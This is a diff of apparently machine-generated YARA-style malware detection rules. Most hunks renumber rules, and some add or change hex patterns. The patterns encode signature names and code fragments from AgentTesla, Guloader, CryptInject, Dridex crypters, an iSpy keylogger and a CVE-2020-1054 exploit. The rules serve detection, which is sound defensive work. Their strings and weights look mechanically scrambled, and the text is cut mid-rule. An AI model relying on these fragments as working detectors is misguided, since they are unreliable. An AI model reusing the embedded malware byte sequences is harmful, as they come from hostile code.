06 00 06 00 21 " @@ -169473,7 +180737,7 @@ rule _InfrastructureShared_14743{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4352+(#a_23_2 & 1)*6+(#a_67_3 & 1)*-32483+(#a_20_4 & 1)*29806+(#a_6d_5 & 1)*28271) >=6 } -rule _InfrastructureShared_14744{ +rule _InfrastructureShared_15707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169486,7 +180750,7 @@ rule _InfrastructureShared_14744{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27493+(#a_00_4 & 1)*6+(#a_57_5 & 1)*21076) >=6 } -rule _InfrastructureShared_14745{ +rule _InfrastructureShared_15708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169499,7 +180763,7 @@ rule _InfrastructureShared_14745{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*25927+(#a_00_4 & 1)*7+(#a_6f_5 & 1)*14930) >=6 } -rule _InfrastructureShared_14746{ +rule _InfrastructureShared_15709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -169514,7 +180778,7 @@ rule _InfrastructureShared_14746{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-18173+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 } -rule _InfrastructureShared_14747{ +rule _InfrastructureShared_15710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -169523,29 +180787,46 @@ rule _InfrastructureShared_14747{ $a_75_1 = {73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 15 81 01 43 5a 47 77 44 43 45 73 79 77 78 5a 5a 55 5a 66 6b 79 68 68 78 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 50 6c 75 6b 73 2e 65 78 65 01 00 0c 81 01 67 65 } //20481 $a_73_2 = {65 6d 62 6c 79 00 00 78 dc 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 43 30 31 21 4d 54 42 00 01 00 0e 81 01 73 6e 6b 6e 69 6e 67 65 6e 73 2e } //24436 $a_01_3 = {00 20 81 01 5c 70 6f 73 74 67 69 72 6f 6b 6f 6e 74 6f 72 5c 63 79 6d 6f 62 6f 74 72 79 6f 73 65 2e 62 65 73 01 00 10 81 01 4f 70 6d 61 67 61 73 69 6e 65 72 65 2e 4b 75 6c 01 00 19 81 01 5c 72 61 63 65 72 62 69 6c 65 6e 73 5c 52 65 74 61 72 64 65 72 2e 61 66 6b 01 00 0d 81 01 65 6c 75 76 69 61 74 65 64 2e 52 65 76 01 00 1d } //27745 - $a_74_4 = {6b 73 74 72 6d 6d 65 6e 73 5c 45 6e 73 68 69 65 6c 64 65 64 31 33 2e 6c 6e 6b 01 00 10 81 01 73 69 64 65 73 74 69 6b 6b 65 6e 65 2e 64 6c 6c 00 00 78 dc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 39 30 37 32 31 21 4d 54 42 00 01 00 31 01 2e 72 65 73 6f 75 72 63 65 73 00 0e e2 80 80 } //385 - $a_73_5 = {75 72 63 65 73 00 0f e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 02 e2 80 81 2e 72 65 73 01 00 2c 01 72 65 73 6f 75 72 63 65 73 00 05 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 08 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 06 e2 80 81 01 00 07 01 52 65 70 6c 61 63 65 01 00 05 01 53 70 6c 69 74 01 00 10 01 } //29230 - $a_6d_6 = {61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 4c 61 74 65 47 65 74 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 01 41 70 70 65 6e 64 00 00 78 dc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 31 38 31 30 21 4d 54 42 00 01 00 3b 03 43 3a 5c 55 73 65 72 73 5c 56 49 43 54 4f 52 5c 44 6f } //29254 + $a_74_4 = {6b 73 74 72 6d 6d 65 6e 73 5c 45 6e 73 68 69 65 6c 64 65 64 31 33 2e 6c 6e 6b 01 00 10 81 01 73 69 64 65 73 74 69 6b 6b 65 6e 65 2e 64 6c 6c 00 00 78 dc 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 58 30 31 21 4d 54 42 00 01 00 10 81 01 73 74 61 74 75 73 6f 72 64 65 6e 65 2e 72 65 70 01 00 0e } //385 + $a_6f_5 = {61 74 70 75 72 6d 63 2e 6a 70 67 01 00 0c 81 01 73 70 69 63 63 61 74 6f 2e 61 64 76 01 00 0f 81 01 72 72 73 61 6e 67 65 72 65 6e 73 2e 6a 70 67 01 00 1e 81 01 62 6a 72 6e 65 74 6a 65 6e 65 73 74 65 72 6e 65 73 20 65 75 72 6f 70 61 74 72 75 6c 6a 65 01 00 1b 81 01 69 6e 74 65 72 76 61 6c 74 79 70 65 6e 73 20 6c 69 74 68 6f 67 72 61 70 68 65 72 01 } //385 + $a_01_6 = {6e 64 72 69 6e 67 73 6b 6f 6d 6d 61 6e 64 6f 65 6e 73 20 73 65 77 65 72 6d 61 6e 2e 65 78 65 00 00 78 dc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 39 30 37 32 31 21 4d 54 42 00 01 00 31 01 2e 72 65 73 6f 75 72 63 65 73 00 0e e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 0f e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 02 e2 80 81 } //7936 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*20481+(#a_73_2 & 1)*24436+(#a_01_3 & 1)*27745+(#a_74_4 & 1)*385+(#a_73_5 & 1)*29230+(#a_6d_6 & 1)*29254) >=7 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*20481+(#a_73_2 & 1)*24436+(#a_01_3 & 1)*27745+(#a_74_4 & 1)*385+(#a_6f_5 & 1)*385+(#a_01_6 & 1)*7936) >=7 } -rule _InfrastructureShared_14748{ +rule _InfrastructureShared_15711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 43 30 31 21 4d 54 42 00 01 00 0e 81 01 73 6e 6b 6e 69 6e 67 65 6e 73 2e 61 6c 6c 01 00 20 81 01 5c 70 6f 73 74 67 69 72 6f 6b 6f 6e 74 6f 72 5c 63 79 6d 6f 62 6f 74 72 79 6f 73 65 2e 62 65 73 01 } //18467 - $a_01_1 = {4f 70 6d 61 67 61 73 69 6e 65 72 65 2e 4b 75 6c 01 00 19 81 01 5c 72 61 63 65 72 62 69 6c 65 6e 73 5c 52 65 74 61 72 64 65 72 2e 61 66 6b 01 00 0d 81 01 65 6c 75 76 69 61 74 65 64 2e 52 65 76 01 00 1d 81 01 73 74 72 6b 73 74 72 6d 6d 65 6e 73 5c 45 6e 73 68 69 65 6c 64 65 64 31 33 2e 6c 6e 6b 01 00 10 81 01 73 69 64 65 73 74 69 6b 6b 65 6e 65 2e 64 6c 6c 00 00 78 dc 00 00 08 00 08 00 } //4096 - $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 39 30 37 32 31 21 4d 54 42 } //8 STR:Win32/AgentTesla.RR190721!MTB - $a_73_4 = {75 72 63 65 73 00 0e e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 0f e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 02 e2 80 81 2e 72 65 73 01 00 2c 01 72 65 73 6f 75 72 63 65 73 00 05 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 08 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 06 e2 80 81 01 00 07 01 52 65 70 6c 61 } //29230 - $a_00_5 = {05 } //25955 - $a_6c_6 = {74 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 4c 61 74 65 47 65 74 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 01 41 70 70 65 6e 64 00 00 78 dc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 31 38 31 30 21 4d 54 42 00 01 00 3b 03 43 3a 5c 55 73 65 72 73 5c } //21249 + $a_01_1 = {4f 70 6d 61 67 61 73 69 6e 65 72 65 2e 4b 75 6c 01 00 19 81 01 5c 72 61 63 65 72 62 69 6c 65 6e 73 5c 52 65 74 61 72 64 65 72 2e 61 66 6b 01 00 0d 81 01 65 6c 75 76 69 61 74 65 64 2e 52 65 76 01 00 1d 81 01 73 74 72 6b 73 74 72 6d 6d 65 6e 73 5c 45 6e 73 68 69 65 6c 64 65 64 31 33 2e 6c 6e 6b 01 00 10 81 01 73 69 64 65 73 74 69 6b 6b 65 6e 65 2e 64 6c 6c 00 00 78 dc 00 00 07 00 07 00 } //4096 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 58 30 31 21 4d 54 42 00 01 00 10 81 } //7 + $a_61_3 = {75 73 6f 72 64 65 6e 65 2e 72 65 70 01 00 0e 81 01 74 6f 6d 61 74 70 75 72 6d 63 2e 6a 70 67 01 00 0c 81 01 73 70 69 63 63 61 74 6f 2e 61 64 76 01 00 0f 81 01 72 72 73 61 6e 67 65 72 65 6e 73 2e 6a 70 67 01 00 1e 81 01 62 6a 72 6e 65 74 6a 65 6e 65 73 74 65 72 6e 65 73 20 65 75 72 6f 70 61 74 72 75 6c 6a 65 01 00 1b 81 01 69 6e 74 65 72 76 61 6c } //29441 + $a_65_4 = {73 20 6c 69 74 68 6f 67 72 61 70 68 65 72 01 00 1f 81 01 6e 64 72 69 6e 67 73 6b 6f 6d 6d 61 6e 64 6f 65 6e 73 20 73 65 77 65 72 6d 61 6e 2e 65 78 65 00 00 78 dc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 39 30 37 32 31 21 4d 54 42 00 01 00 31 01 2e 72 65 73 6f 75 72 63 65 } //31092 + $a_e2_5 = {80 2e 72 65 73 6f 75 72 63 65 73 00 0f e2 } //115 + $a_72_6 = {73 6f 75 72 63 65 73 00 02 e2 80 81 2e 72 65 73 01 00 2c 01 72 65 73 6f 75 72 63 65 73 00 05 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 08 } //-32640 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_23_2 & 1)*8+(#a_73_4 & 1)*29230+(#a_00_5 & 1)*25955+(#a_6c_6 & 1)*21249) >=7 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_23_2 & 1)*7+(#a_61_3 & 1)*29441+(#a_65_4 & 1)*31092+(#a_e2_5 & 1)*115+(#a_72_6 & 1)*-32640) >=7 } -rule _InfrastructureShared_14749{ +rule _InfrastructureShared_15712{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 58 30 31 21 4d 54 42 00 01 00 10 81 01 73 74 61 74 75 73 6f 72 64 65 6e 65 2e 72 65 70 01 00 0e 81 01 74 6f 6d 61 74 70 75 72 6d 63 2e 6a 70 67 01 00 0c 81 01 73 70 69 63 63 61 74 6f 2e 61 64 76 } //18467 + $a_81_1 = {72 72 73 61 6e 67 65 72 65 6e 73 2e 6a 70 67 } //1 rrsangerens.jpg + $a_81_2 = {62 6a 72 6e 65 74 6a 65 6e 65 73 74 65 72 6e 65 73 20 65 75 72 6f 70 61 74 72 75 6c 6a 65 } //1 bjrnetjenesternes europatrulje + $a_81_3 = {69 6e 74 65 72 76 61 6c 74 79 70 65 6e 73 20 6c 69 74 68 6f 67 72 61 70 68 65 72 } //1 intervaltypens lithographer + $a_81_4 = {6e 64 72 69 6e 67 73 6b 6f 6d 6d 61 6e 64 6f 65 6e 73 20 73 65 77 65 72 6d 61 6e 2e 65 78 65 } //1 ndringskommandoens sewerman.exe + $a_dc_5 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 39 30 37 32 31 21 4d 54 42 00 01 00 31 01 2e 72 65 73 6f 75 72 63 65 73 00 0e e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 0f e2 80 80 2e 72 65 73 6f 75 72 63 65 73 00 02 e2 80 81 2e 72 65 73 01 00 2c 01 72 65 73 6f 75 72 63 65 73 00 05 e2 80 81 2e 72 65 73 6f } //0 + $a_65_6 = {00 08 e2 80 81 2e 72 65 73 6f 75 72 63 65 73 00 06 e2 80 81 01 00 07 01 52 65 70 6c 61 63 65 01 00 05 01 53 70 6c 69 74 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 4c 61 74 65 47 65 74 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 06 01 41 70 70 65 6e 64 00 00 78 dc 00 } //29301 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_dc_5 & 1)*0+(#a_65_6 & 1)*29301) >=7 + +} +rule _InfrastructureShared_15713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -169560,7 +180841,7 @@ rule _InfrastructureShared_14749{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*25970+(#a_00_4 & 1)*8+(#a_6e_5 & 1)*22330+(#a_42_6 & 1)*28530+(#a_6b_7 & 1)*24904) >=8 } -rule _InfrastructureShared_14750{ +rule _InfrastructureShared_15714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -169576,7 +180857,7 @@ rule _InfrastructureShared_14750{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28718+(#a_6e_2 & 1)*29300+(#a_00_3 & 1)*97+(#a_6f_4 & 1)*28257+(#a_8b_5 & 1)*-29872+(#a_65_7 & 1)*385) >=8 } -rule _InfrastructureShared_14751{ +rule _InfrastructureShared_15715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -169592,7 +180873,7 @@ rule _InfrastructureShared_14751{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_2 & 1)*58+(#a_23_3 & 1)*9+(#a_90_5 & 1)*17803+(#a_6f_6 & 1)*25933+(#a_74_8 & 1)*17153) >=9 } -rule _InfrastructureShared_14752{ +rule _InfrastructureShared_15716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -169609,7 +180890,7 @@ rule _InfrastructureShared_14752{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*20724+(#a_48_2 & 1)*8448+(#a_65_4 & 1)*385+(#a_00_5 & 1)*25964+(#a_6e_6 & 1)*385+(#a_62_7 & 1)*25933+(#a_44_8 & 1)*-32498) >=10 } -rule _InfrastructureShared_14753{ +rule _InfrastructureShared_15717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -169626,7 +180907,7 @@ rule _InfrastructureShared_14753{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_73_2 & 1)*25970+(#a_6e_3 & 1)*30033+(#a_75_5 & 1)*385+(#a_5f_6 & 1)*25959+(#a_67_7 & 1)*29555+(#a_20_8 & 1)*12064) >=10 } -rule _InfrastructureShared_14754{ +rule _InfrastructureShared_15718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -169644,7 +180925,7 @@ rule _InfrastructureShared_14754{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_6f_3 & 1)*25978+(#a_4c_4 & 1)*21325+(#a_33_5 & 1)*13108+(#a_65_6 & 1)*384+(#a_65_7 & 1)*11777+(#a_74_8 & 1)*384+(#a_45_9 & 1)*16727) >=10 } -rule _InfrastructureShared_14755{ +rule _InfrastructureShared_15719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -169661,7 +180942,7 @@ rule _InfrastructureShared_14755{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13363+(#a_74_3 & 1)*26369+(#a_72_4 & 1)*384+(#a_6c_5 & 1)*18689+(#a_30_6 & 1)*-29952+(#a_75_7 & 1)*21358+(#a_29_8 & 1)*27749) >=10 } -rule _InfrastructureShared_14756{ +rule _InfrastructureShared_15720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 08 00 21 " @@ -169677,7 +180958,7 @@ rule _InfrastructureShared_14756{ ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_95_3 & 1)*577+(#a_54_4 & 1)*24397+(#a_53_5 & 1)*-32473+(#a_52_6 & 1)*22356+(#a_32_7 & 1)*24946) >=10 } -rule _InfrastructureShared_14757{ +rule _InfrastructureShared_15721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -169692,7 +180973,7 @@ rule _InfrastructureShared_14757{ ((#a_5f_0 & 1)*16931+(#a_70_1 & 1)*23621+(#a_6c_2 & 1)*28257+(#a_01_3 & 1)*1025+(#a_01_4 & 1)*-29417+(#a_23_6 & 1)*9) >=12 } -rule _InfrastructureShared_14758{ +rule _InfrastructureShared_15722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -169707,7 +180988,7 @@ rule _InfrastructureShared_14758{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*3076+(#a_01_2 & 1)*10249+(#a_53_3 & 1)*2304+(#a_69_4 & 1)*29811+(#a_5f_5 & 1)*24415) >=20 } -rule _InfrastructureShared_14759{ +rule _InfrastructureShared_15723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 09 00 21 " @@ -169718,30 +180999,40 @@ rule _InfrastructureShared_14759{ $a_6e_3 = {50 72 69 78 4c 69 62 01 00 09 00 47 72 61 6e 64 50 72 69 78 01 00 26 00 7b 36 36 43 39 39 42 33 38 2d 42 43 31 32 2d 34 31 33 34 2d 39 30 41 32 2d 43 35 44 36 41 42 46 43 35 46 46 45 7d 14 00 27 03 8b 30 03 f0 2b c0 8b fe 66 ad c1 e0 90 01 01 8b c8 50 ad 2b c8 03 f1 8b c8 57 51 49 8a 44 39 } //29255 $a_31_4 = {f6 90 00 14 } //-30714 $a_e8_5 = {00 00 00 } //5632 - $a_90_6 = {03 ff b0 e9 aa b8 90 01 04 ab 90 00 00 00 78 dd 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 69 53 70 79 4b 65 79 6c 6f 67 67 65 72 00 01 00 24 80 01 63 63 63 30 61 33 38 36 2d 63 34 63 65 2d 34 32 65 66 2d 61 61 65 61 2d 62 32 61 66 37 65 66 66 34 61 64 38 01 00 24 80 01 38 31 36 62 38 62 39 30 2d 32 39 37 35 2d 34 36 64 33 2d 61 61 63 39 2d 33 63 34 35 62 32 36 34 33 37 66 61 01 00 24 80 01 32 37 39 62 35 35 33 33 2d 64 33 61 63 2d 34 33 38 66 2d 62 61 38 39 2d 33 66 65 39 64 65 32 64 61 32 36 33 01 00 24 } //-32417 - $a_38_7 = {33 64 63 30 32 2d 32 38 35 33 2d 34 62 66 30 2d 62 36 64 63 2d 61 64 33 31 66 35 31 33 35 64 32 36 00 00 78 dd 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //384 - $a_69_8 = {33 32 2f 44 72 69 64 65 78 43 72 79 70 74 2e 53 55 21 4d 54 42 00 01 00 5a 03 8b 45 00 80 eb 01 81 3d 90 01 04 8a 04 00 00 89 0d 90 01 04 75 90 01 01 03 0d 90 01 04 b3 90 01 01 89 0d 90 01 04 0f b6 db 05 90 01 04 2b de 89 45 00 83 eb 90 01 01 a3 90 01 04 8a c3 } //14958 + $a_90_6 = {03 ff b0 e9 aa b8 90 01 04 ab 90 00 00 00 78 dc 00 00 2d 00 2d 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4c 4d 21 4d 54 42 00 14 00 24 03 0f be c9 33 ce 69 f1 93 01 00 01 8a 0b 43 84 c9 75 90 01 01 89 75 f8 81 7d f8 64 ec 5c a4 8b 75 ec 74 90 00 14 00 50 03 8a 85 3c eb ff ff 30 84 0d 3d eb ff ff 41 83 f9 0e 72 90 01 01 8d 95 3d eb ff ff c6 85 4b eb ff ff 00 8d 8d 08 ff ff ff e8 90 01 04 ff b5 10 eb ff ff 56 8b 08 8b 51 04 8b 4c 02 14 81 e1 ff f9 ff ff 81 c9 00 08 00 00 89 4c 02 14 8b c8 90 00 05 00 2e 01 43 3a 5c 55 73 65 72 73 5c } //-32417 + $a_6c_7 = {5c 44 65 73 6b 74 6f 70 5c 6e 65 77 5c 73 56 59 5c 52 65 6c 65 61 73 65 5c 73 56 59 2e 70 64 62 00 00 78 dd 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 69 53 70 79 4b 65 79 6c 6f 67 67 65 72 00 01 00 24 80 01 63 63 63 30 61 33 38 } //25964 + $a_34_8 = {65 2d 34 32 65 66 2d 61 61 65 61 2d 62 32 61 66 37 65 66 66 34 61 64 38 01 00 24 80 01 38 31 36 62 38 62 39 30 2d 32 39 37 35 2d 34 36 64 33 2d 61 61 63 39 2d 33 63 34 35 62 32 36 34 33 37 66 61 01 00 24 80 01 32 37 39 62 35 35 33 33 2d 64 33 61 63 2d 34 33 38 66 2d 62 61 38 39 2d 33 66 65 39 64 } //11574 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25167+(#a_5f_2 & 1)*24415+(#a_6e_3 & 1)*29255+(#a_31_4 & 1)*-30714+(#a_e8_5 & 1)*5632+(#a_90_6 & 1)*-32417+(#a_38_7 & 1)*384+(#a_69_8 & 1)*14958) >=26 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25167+(#a_5f_2 & 1)*24415+(#a_6e_3 & 1)*29255+(#a_31_4 & 1)*-30714+(#a_e8_5 & 1)*5632+(#a_90_6 & 1)*-32417+(#a_6c_7 & 1)*25964+(#a_34_8 & 1)*11574) >=26 } -rule _InfrastructureShared_14760{ +rule _InfrastructureShared_15724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2c 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 70 6f 6f 74 2e 53 49 42 21 4d 54 42 00 01 00 0a 00 47 50 52 6f 6f 74 49 6d 70 6c 01 00 15 02 54 00 69 00 6e 00 79 00 90 02 04 2e 00 65 00 78 00 65 00 90 00 01 00 0c 00 47 72 61 6e 64 50 } //16675 $a_4c_1 = {62 01 00 09 00 47 72 61 6e 64 50 72 69 78 01 00 26 00 7b 36 36 43 39 39 42 33 38 2d 42 43 31 32 2d 34 31 33 34 2d 39 30 41 32 2d 43 35 44 36 41 42 46 43 35 46 46 45 7d 14 00 27 03 8b 30 03 f0 2b c0 8b fe 66 ad c1 e0 90 01 01 8b c8 50 ad 2b c8 03 f1 8b c8 57 51 49 8a 44 39 06 88 04 31 75 f6 90 00 14 00 16 03 e8 00 00 00 00 5f 81 c7 90 01 03 ff b0 e9 aa b8 90 } //26994 - $a_90_2 = {00 00 78 dd 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 69 53 70 79 4b 65 79 6c 6f 67 67 65 72 00 01 00 24 80 01 63 63 63 30 61 33 38 36 2d 63 34 63 65 2d 34 32 65 66 2d 61 61 65 61 2d 62 32 61 66 37 65 66 66 34 61 64 38 01 00 24 80 01 38 31 36 62 38 62 39 30 2d 32 39 37 35 2d 34 36 64 33 2d 61 61 63 39 2d 33 63 34 35 62 32 36 34 33 37 66 61 01 00 24 80 01 32 37 39 62 35 35 33 33 2d 64 33 61 63 2d 34 33 38 66 2d 62 61 38 39 } //1025 - $a_65_3 = {64 65 32 64 61 32 36 33 01 00 24 80 01 38 38 64 33 64 63 30 32 2d 32 38 35 33 2d 34 62 66 30 2d 62 36 64 63 2d 61 64 33 31 66 35 31 33 35 64 32 36 00 00 78 dd 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 43 72 79 70 74 2e 53 55 21 4d 54 42 00 01 00 5a } //13101 - $a_00_4 = {80 eb 01 81 3d 90 01 04 8a 04 00 00 89 0d 90 01 04 75 90 01 01 03 0d 90 01 04 b3 90 01 01 89 0d 90 01 04 0f b6 db 05 90 01 04 2b de 89 45 00 83 eb 90 01 01 a3 90 01 04 8a c3 2a 05 90 01 04 83 c5 04 2c 90 01 } //-29949 - $a_24_5 = {01 01 01 88 44 24 90 01 01 0f 85 90 00 01 00 4d 03 6a 40 8d 54 01 90 01 01 89 44 24 90 01 01 a1 90 01 04 68 90 01 04 50 03 da 6a ff 83 d7 00 ff 15 90 01 04 6a 03 68 90 01 04 8d 4c 24 90 01 01 c7 84 24 90 01 04 0f 00 00 00 c7 84 24 90 01 04 00 00 00 00 c6 44 24 90 01 01 00 e8 90 00 00 00 78 dd 00 00 02 00 02 00 02 00 21 23 } //-31999 - $a_52_6 = {57 69 6e 33 32 2f 43 56 45 2d 32 30 32 30 2d 31 30 35 34 2e 41 21 4d 54 42 00 01 00 62 03 48 89 5c 24 08 55 56 57 41 54 41 55 41 56 41 57 48 81 ec b0 00 00 00 85 c9 41 be c0 08 00 00 44 8b ea 44 0f 45 f1 48 8d 90 01 05 ff 15 90 01 04 33 c9 ff 15 90 01 } //21320 + $a_90_2 = {00 00 78 dc 00 00 2d 00 2d 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4c 4d 21 4d 54 42 00 14 00 24 03 0f be c9 33 ce 69 f1 93 01 00 01 8a 0b 43 84 c9 75 90 01 01 89 75 f8 81 7d f8 64 ec 5c a4 8b 75 ec 74 90 00 14 00 50 03 8a 85 3c eb ff ff 30 84 0d 3d eb ff ff 41 83 f9 0e 72 90 01 01 8d 95 3d eb ff ff c6 85 4b eb ff ff 00 8d 8d 08 ff ff ff e8 90 01 04 ff b5 10 eb ff ff 56 8b 08 8b 51 04 8b 4c 02 14 81 e1 ff f9 ff ff 81 c9 00 08 00 00 89 4c 02 14 8b } //1025 + $a_43_4 = {5c } //11776 \ + $a_72_5 = {5c 6c 65 69 6c 61 5c 44 65 73 6b 74 6f 70 5c 6e 65 77 5c 73 56 59 5c 52 65 6c 65 61 73 65 5c 73 56 59 2e 70 64 62 00 00 78 dd 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 69 53 70 79 4b 65 79 6c 6f 67 67 65 72 00 01 00 } //29525 + $a_63_6 = {63 } //-32732 c condition: - ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*26994+(#a_90_2 & 1)*1025+(#a_65_3 & 1)*13101+(#a_00_4 & 1)*-29949+(#a_24_5 & 1)*-31999+(#a_52_6 & 1)*21320) >=44 + ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*26994+(#a_90_2 & 1)*1025+(#a_43_4 & 1)*11776+(#a_72_5 & 1)*29525+(#a_63_6 & 1)*-32732) >=44 } -rule _InfrastructureShared_14761{ +rule _InfrastructureShared_15725{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4c 4d 21 4d 